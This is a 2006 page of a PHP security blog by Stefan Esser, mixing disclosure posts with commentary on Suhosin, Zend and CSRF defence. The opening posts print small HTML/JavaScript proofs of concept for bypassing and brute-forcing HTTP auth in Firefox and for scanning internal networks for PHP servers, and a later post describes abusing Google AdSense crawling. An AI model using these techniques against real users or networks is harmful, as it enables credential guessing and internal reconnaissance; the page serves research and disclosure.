PHP Security Blog

Bruteforcing HTTP Auth in Firefox with JavaScript

Friday, December 1. 2006

Yesterday I blogged about a way to bypass HTTP Auth popus that used a "abuse the server" approach. Today I will show a way to bypass HTTP auth in Firefox and in some cases bruteforce HTTP auth in Firefox in some situations. The precondition for the bruteforce approach here is that the attacked server is either running PHP with expose_php=On or an application in a guessable location that contains pictures. (However combined with timing attacks and the number of requests sent depending if the password was correct or not it might be possible to do this without pictures)

The basic idea behind bypassing HTTP auth is to request the files in a way that Firefox will not bother asking the user for a password. From a logical point of view this results in the question: Where does Firefox request optional content? Because this are the likely cases where it does not ask the user for a password. After a bit of thinking you might get the idea that the favicon and the page prefetching are likely cases.

And indeed a page like this will not trigger an HTTP auth popup

<html>
 <head>
  <title>FF HTML Only HTTP Auth Bypass</title>
  <link rel="shortcut icon" href="http://192.168.1.1/"
 type="image/x-icon">
  <link rel="prefetch" href="http://192.168.1.1/">
 </head>
 <body>
  Bumm
 </body>
</html>

If you like you can combine this with your favourite HTML only timing attack that is now public and discussed for example here or take the whole thing a step further and use it for bruteforcing HTTP auth. All you need for this is to know that Firefox does agressive caching for favicons and the URL to a HTTP auth protected image. In case the server is running PHP with expose_php=On you can use the idea described here to use as attack image URL. The proof of concept code is here:

<html>
 <head>
  <title>Firefox HTTP Auth Bruteforcing</title>
  <script>
    function okPW()
    {
      alert("User/Password Combination correct");
    }

    function wrongPW()
    {
      alert("User/Password Combination is wrong");
    }

  </script>
  <link rel="shortcut icon" href="http://user:pass@URL"
 type="image/x-icon">
 </head>
 <body>
 <img src="http://user:pass@URL" 
onLoad="okPW()" onError="wrongPW()">
 </body>
</html>

Please note that you can use any kind of URL that points to a HTTP auth protected image. You can obviously also use the expose_php GUIDs like ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42. However you must ensure that both user:pass+URL combinations are the same because otherwise the caching will not kick in. Additionally you cannot simply reload the page, because then you will get the HTTP auth popup.

Posted by Stefan Esser in PHP, Security at 11:57

Comments (4)

Link to this post

JavaScript Scanning and expose_php=On

Friday, December 1. 2006

The good thing about images is that JavaScript can check if they are loaded and what size they are. With this ability it is trivial to detect if PHP is running on an URL if expose_php=On.

Here is the little proof of concept:

<html><head><title>Detect PHP Version by JavaScript</title>
<script>
  function fail()
  {
    alert("URL is not powered by PHP or expose_php=off");
  }
  function detect()
  {
    if (xxx.width == 100 && xxx.height==58) {
      alert("URL is powered by PHP 4");
    } else if (xxx.width == 113 && xxx.height==72) {
      alert("URL is powered by PHP 5");
    } else {
      alert("No PHP or unknown PHP version");
    }
  }
</script></head>
<body>
<img 
src="http://URL/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42"
onerror="fail()" name=xxx onload="detect()">
</body>
</html>

Update: I changed the example because it actually did not work. I had rewritten it in the blog to get around displaying problems. Therefore the previous example simply did not work.

Update-2: In one of the comments I was advised to simply use telnet and check the HTTP headers for the PHP version instead of JavaScript. The problem is that the poster misunderstood that all these JavaScript scanning tricks are things a malicious piece of JavaScript forces YOUR browser to do. This means YOUR browser executes the scan for PHP in your internal company network and sends information back to MY website. And after that I will know how YOUR internal company network is structured and if YOUR internal servers are running PHP or not.

Posted by Stefan Esser in PHP, Security at 10:00

Comments (5)

Link to this post

JavaScript/HTML Portscanning and HTTP Auth

Thursday, November 30. 2006

Several people were researching HTML portscanning during the last days. Basically this is nothing more than requesting stuff through the link tag, because it halts page rendering and checking how long it took. A typical timing attack that people nowadays even use to break RSA keys. The funny thing about this new JavaScript-less portscanning is however that they do not mention how they want to get an IP range to scan in. A person that disables JavaScript will most probably not have Java activated and without Java there is no public method to get the victim's local IP. Considering the HTML scanning speed it might take months to scan all possible private IP addresses. If you can scan a Class-C subnet in 2 minutes then you will need more than 91 days to scan only the private IP addresses in the 10.x.x.x subnet. Have fun with that... (and especially if the interesting sites are not reachable by IP but only by hostname. So you might find out that a server is up, but you still cannot attack it.)

Well so far the current public development. I thought it would be time to show people a few JavaScript/HTML scanning tricks I was thinking about during the last weeks. The first trick I wanted to share is the easiest way I discovered to get around the HTTP auth popups that the current scanning methods throw. I have several totally different tricks to do that. Because browsers all behave different the first question that comes to mind is: Can you use the "attacked" server to get around the HTTP auth popups.

And yes you can. The trick is to make the server reject the request before it tries to decode it or before it realises that the ressource is HTTP auth protected. The easiest way to do this, is requesting an url like http://192.168.1.1/%. The broken URL encoding will result in a HTTP 400 Bad Request error on many servers (tested against Apache, IIS and some home routers). The only culprit is Internet Explorer 7 which is unwilling to send such requests. (Similiar results were made with requests like http://192.168.1.1/%2e%2e ).

However there are more tricks to make servers refuse requests that will work even in Internet Explorer. The simplest one is to request a very long URL. Something like http://192.168.1.1/AAA...LOTS_OF_AAAA..... (which even works against Google's homemade server).

So far so good... Now you know how you can use simple HTML to not even scan, but also scan without triggering HTTP auth popus.

To be continued...

Posted by Stefan Esser in PHP, Security at 20:55

Comments (5)

Link to this post

Trusted Zend Extensions

Thursday, November 30. 2006

Everyone that has used IonCube or Zend tools has most probably experienced the problem that both companies ship extensions that backdoor PHP in a way that only those extensions can be used that they consider trusted. On pages like this they claim this is another (optional) security feature. In reality it does not offer any additional security, because everyone who is able to install Zend Extensions on a server is also able to directly patch the untrusted code into the PHP installation.

The most likely real reason for these backdoors is to keep Open Source alternatives to their products away from the PHP installation.

Because of this the Suhosin extension already contains stealth loading features that are able to bypass the Zend checks. Unfortunately until today I was not aware that IonCube comes with a similiar protection that is only activated if the encoded files request it. Of course future Suhosin versions will work their way around this backdoor.

However I decided to take further actions against this kind of anti-open-source actions and will create a patch against the PHP codebase (that will also be added to Suhosin-Patch) that will introduce the concept of extension trust. The basic idea behind this feature is that the admin can give different trustlevels to extensions, so that an extension can only see those of a lower trustlevel. Additionally it will not be possible for an extension to learn it's own trust level so that the encoder backdoors cannot demand to have the highest trustlevel.

From my point of view it is really sad, that companies with a business model based on extensions and support for open source take such drastic steps against open source products.

Posted by Stefan Esser in PHP, Security at 14:58

Comments (6)

Link to this post

Suhosin 0.9.15 comes with Transparent phpinfo() Protection

Tuesday, November 28. 2006

During the last weeks several people blogged about open phpinfo() pages (here and here). They usually contain a lot of information about the server and therefore should not be open to the public and especially not to search engines like Google that will keep them for a long time in their archive.

Because of this the Suhosin extension does now add an extra META TAG to the HTML output of phpinfo() that forbids indexing and archiving by robots. For fairness reasons following the embedded links is still allowed to robots, because a lot of projects like dotdeb and suhosin add links within phpinfo() to their project site to get atleast a few backlinks for their work, that might result in a better search engine positioning.

Future versions of PHP will come with a similiar META TAG by default that also forbids following the backlinks. Suhosin will correct this on the fly. Ironically those in favor of disallowing backlinks from within phpinfo(), are those developing PHP applications that contain similiar backlinks on every page.

Posted by Stefan Esser in PHP, Security at 20:48

Comments (6)

Link to this post

Howto not treat bugreporters...

Monday, November 27. 2006

Today I stumbled by accident upon two wonderful examples how bugs should not get treated. One is from the Zend Framework and another one is from the PHP bug system. In both cases bugs are immediately blamed on Suhosin-Patch, although the patch is quite small and is used with lots of software without a single problem.

In the first example failing unit tests in the Framework are immediately blamed by the authors on the presence of Suhosin-Patch just because they are unable to reproduce them. Luckily Sebastian is not the average user that stops here and so he tells them that the same happens without Suhosin-Patch. I also like the statement by the Zend Framework guys that compatibility to Suhosin-Patch is not a requirement. That basically means FreeBSD users should NOT use Zend Framework at all.

In the second example someone reports a problem with recode.so to the PHP bugtracker and Antony from Zend, who is known for his agressive tone against bugreporters, immediately refuses to accept the bug because the person is using the Suhosin-Patch. This behaviour is unbelievable, especially because recode.so has a history of mysterious crashes especially on FreeBSD systems. It is likely that the problem has now become reproduceable by the use of Suhosin-Patch, but according to PHP.net's strategy bugs that will become invisible without Suhosin-Patch do not exist. It would not be the first time that Suhosin-Patch/Hardening-Patch brings a bug to light, that was so deeply hidden that it only occured sometimes and only under some strange configurations that it was unreproduceable and never fixed.

I guess FreeBSD, OpenBSD, Dotdeb, ... users will have a lot of fun with PHP.net's bug tracking system in the future because they have choosen to secure their PHP and PHP.net obviously refuses them this choice.

Posted by Stefan Esser in PHP, Security at 18:15

Comments (25)

Link to this post

Zend Video Tips: Get and Post Array

Thursday, November 23. 2006

A link to a quite amusing (?) video was posted on IRC today that is one of Zend's german PHP teaching videos. You can find it here. It is supposed to teach PHP developers the usage of $_GET and $_POST.

Aside from wrong information like the statement that POST data is sent within an HTTP header, all their examples print the content of $_GET and $_POST directly to the output, producing nice little XSS vulnerabilities.

Quite amusing seeing these kinds of tips from a company offering PHP training and certification. Maybe the teaching material should cover the usage of htmlentities() or htmlspecialchars() in the future.

Posted by Stefan Esser in PHP, Security at 18:37

Comments (4)

Link to this post

Google Request Forgeries

Thursday, November 23. 2006

Today I was reminded about a vulnerability I had totally forgotten about when I read the Securiteam blog posting about using Google to attack websites. The idea is to create a malicious website that contains links attacking web applications and submit this to the Google spider. When the Google spider crawls the page it will also follow the links and voila Google has attacked the website for you.

This is however not really news because people are using similiar techniques for Page Rank fraud for a while now. The idea behind Page Rank fraud is to create URLs that use HTML injection vulnerabilities on high ranked sites to inject HTML links to your page and submit them to search engines.

Back to the vulnerability I had forgotten about: More than a year ago I discovered that there is another easy way to trick Google into visiting a certain URL, that has the big advantage that the request will happen in a short timeframe after Google is tricked. The crawler trick above has the disadvantage that it is not really possible to know when Google will visit the attack URLs. Additionally the trick I reported at the 10. July 2005 to Google, that resulted in no actions beside an initial acknowledgement e-mail, has another advantage: It is possible to trick a person visiting your site by using CSRF into performing the trick on Google, so that your IP doesn't show up in the Google logs.

So now the very simple trick. Google Adsense IFRAME's are placed on URLs similiar to this

http://pagead2.googlesyndication.com/pagead/ads?client=XXXX&dt=...

...&url=http://victim.com/xyz&...

Most probably because of the Referer problematic the IFRAME's URL contains the URL the ad is displayed on. And now you may guess 3 times what happens when the url variable points to an URL unknown to google.

Exactly... After a short while one of the Google Mediapartner crawlers will visit the URL to scan it.

Atleast this is still the behaviour while I am writing this blog entry... Noone knows how fast Google will react once this is public. While it was not public they didn't do anything about if for more than a year.

Posted by Stefan Esser in PHP, Security at 16:12

Comments (2)

Link to this post

CSRF protections are not doomed by XSS

Tuesday, November 21. 2006

Today I was looking at rsnake's blog where he described how visiting two URLs in a row bypassed a CSRF protection implemented by last.fm. While it is funny that someone believes enforcing some kind of application flow control by URL checks can stop CSRF it was not what caught my attention.

It was one of the comments to that post that annoyed me. People like my special "friend" have claimed in the past that with an XSS on the site all CSRF protections are doomed. This is however not true.

The problem with XSS and simple CSRF protections is that at the moment there is an XSS on a site, the attack becomes a local one and is no longer a Cross Site Request Forgery. Because JavaScript comes with neat things like XMLHttpRequest or FlashRequest it becomes possible to read tokens embedded in local HTML forms and even fake HTTP headers. Therefore XSS can be used as a simple browser remote control.

However XSS attacks are limited (if there is no browser bug) to the current domain, therefore the answer to XSS attacks against CSRF protections is very simple: Keep XSS away from the HTML form's domain. For the application design this means: embedd all HTML forms in IFRAMEs that use a different source domain.

Example:
<iframe src="http://session_id.formular_id.example.com/">

While this makes application design trickier it keeps XSS from remote controlling your browser. If you embedd a formular id into the domain you can even have XSS in one of your formulars and XSS can still not control the other forms.

Update: the iframe URL was a bit unclear.... the formular_id is NOT the formular token. That is still embedded in the FORM. The id is simply an id that is different for all forms. Same for the session_id. It is not necessary the session_id of the user but an "encoded or encrypted" variant that allows having different domain names for different sessions.

Posted by Stefan Esser in PHP, Security at 11:01

Comments (17)

Link to this post

Month of PHP bugs

Saturday, November 11. 2006

During the last months there have been the Month of the Browser bugs and the Month of the Kernel bugs projects that tried to raise awareness for security vulnerabilities in browsers and kernels.

After thinking a bit about this I started to wonder if I should not start a Month of PHP bugs somewhen in the first half of 2007. At the PHP conference it was once again claimed that it is not PHP that is insecure but the applications written by novice programmers. While it is true that many PHP applications are written by people with no clue about security it is absolutely not true that PHP is a secure programming language.

I think it is necessary to make ALL people aware of this. The plan is therefore to choose one of the 31 day months after January and release everyday a vulnerability in PHP itself. I would like to hear comments from the PHP community about this plan. (Be warned that anonymous rants will be deleted)

Posted by Stefan Esser in PHP, Security at 18:00

Comments (17)

Link to this post

« previous page (Page 5 of 10, totalling 92 entries) » next page

Calendar